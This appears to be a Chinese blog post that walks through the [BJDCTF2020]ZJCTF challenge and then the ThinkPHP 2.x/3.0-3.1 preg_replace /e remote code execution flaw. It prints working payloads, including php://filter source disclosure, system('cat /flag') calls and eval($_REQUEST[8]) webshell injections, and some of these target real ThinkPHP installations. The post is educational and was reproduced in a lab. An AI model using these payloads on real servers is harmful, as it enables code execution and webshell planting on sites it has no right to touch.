文章可能会有点长,并且可能要你实操做一做[BJDCTF2020]ZJCTF才能彻底明白(大佬除外,小弟不才,打扰了。)

一、

先上ctf:[BJDCTF2020]ZJCTF

96501-hz7xjody886.png

构建以下payload,进入if判断,并且进入include()函数
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
(这个不明白可以看我上一篇文章“[ZJCTF 2019]NiZhuanSiWei 解题思路”)
32881-vgs68cwcjah.png

得到next.php的base64加密的密文,解码获得next.php的源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei','strtolower("\\1")',$str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}

这段代码大致意思是:
获取get的所有传参,对get传参键值分离,分别赋值给$re、$str ,作为参数放进complex()自定义的函数。Complex函数用来匹配$re里面的内容,并且为/ei 模式。/i表示不分大小写,/e表示啥?不懂,但是查一下可知,preg_replace的/e模式下有代码执行漏洞。即/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。

也就是说:
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str) 中'strtolower("\1")'这里会任意代码执行。

先看看:\1 是干嘛~
1表示取出正则匹配后的第一个子匹配中的第一项(这里其实就是thinkphp2.x、3.0-3.1版本的rce漏洞,这也是我为什么做这道题的原因)
举几个例子:
24687-jqv5735vtu.png

(图一)
60383-3nv6zzv4nsd.png

(图二)
58935-c90ijg7yjeu.png

(图三)
16436-iv3u0xrtt4.png

(图四)
子匹配项,正则里有括号才能存在子匹配项,所以没有括号,就不存在子匹配项,自然图1和图4中子匹配项的值为空。

其次,了解””双引号在php中解析问题,双引号会解析里面的变量,而单引号不会。
18489-8j6jkzafsgw.png

但是要把双引号里面的东西当成php来解析,这双引号是办不到的。
69370-x3k7fq6fg0g.png

所以又得了解另一种方法:
如下图:
28259-52fllcw9xyq.png

然后发现:${${phpinfo()}} 里面的phpinfo()能够被解析并且成功执行。
53118-lbn4guvbdrh.png

所以把源码弄来试试:
44953-5mtqnnhphlt.png

回到靶场:
95849-1vzv01fyrkl.png

没毛病。

来开辟新道路:一种新思路
既然能执行phpinfo(),为啥就不能getshell呢?
来来来,尝试一下下:
写马:S%2b=${${eval($_REQUEST[8])}}
连接:
61871-jozyredumjn.png

91126-lidf5lgqvo.png

91656-eqnmcn0uiiw.png

得到flag。

不过正解就是调用getFlag() 函数,进行getshell。
Payload为:
?S%2b=${${getFlag()}}&cmd=system(%27ls%20/%27);

03416-nsx3s3zex4.png

?S%2b=${${getFlag()}}&cmd=system(%27cat%20/flag%27);

18458-lctsacmv5h.png

结束ctf的题,相信对正则匹配的/e模式有了很大的了解,接下来分析个Thinkphp的简化版漏洞。(真实的代码审计可能要对mvc框架有一定了解,而我还是弟弟,我先放弃~~~~)

二、

Thinkphp2.x、3.0-3.1版代码执行漏洞分析:
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架,ThinkPHP/Lib/Think/Util/Dispatcher.class.php中的102行preg_replace函数存在问题:

从网上的简化版初步来分析一下:
简化版就是这么一段代码

$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

把路径拆分了,然后再进行自行组建路径,放进正则上面匹配。(需要大家有代码能力,自行理解一下,接下来主要讲匹配替换规则)
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths))
再化简:

preg_replace('@(\w+)\/([^\/\/]+)@e', '$var[\'\\1\']="\\2";',’进行匹配的路径’)

先开启@i模式,那么假设要匹配的路径是:index.php?s=1/2/3/4/5/6
那么结果是什么?
36113-fl48intgwu.png

可以看到进行了3次匹配,分别为:1/2 , 3/4 , 5/6
每次的第一子匹配项放进了$var[‘’]里面,第二个子匹配项则在双引号里面。
所以,很清楚,如果改为@e模式,单数的项会放进$var变量作为键,而双数的项会被当做值。
并且我们知道@e模式下是可以任意代码执行的,特别是在双引号里面:例如:”${phpinfo()}”或者”${${phpinfo()}}” (采用哪种主要看php版本,低版本的不支持”${phpinfo()}”,高版本都支持)
如:
82170-kjb7w305jdl.png

接下来就是漏洞复现。
本地搭好环境进行复现:

Payload为:
/index.php/1/2/3/4/5/$%7Bphpinfo()%7D
或者:
index.php?s=1/2/3/4/5/${phpinfo()} 传参必须为s
phpinfo在4的位置也行。在2的位置不行。

85195-mg7540hlme.png

84649-66pxtki843b.png

到这就暂告一段落啦。
顺便给一下getshell方法:
index.php?s=1/2/3/4/5/${eval%20($_REQUEST[8])}&8=phpinfo();

76541-4l05ipq6mug.png

最后修改:2020 年 11 月 04 日 04 : 29 PM
如果觉得我的文章对你有用,请随意赞赏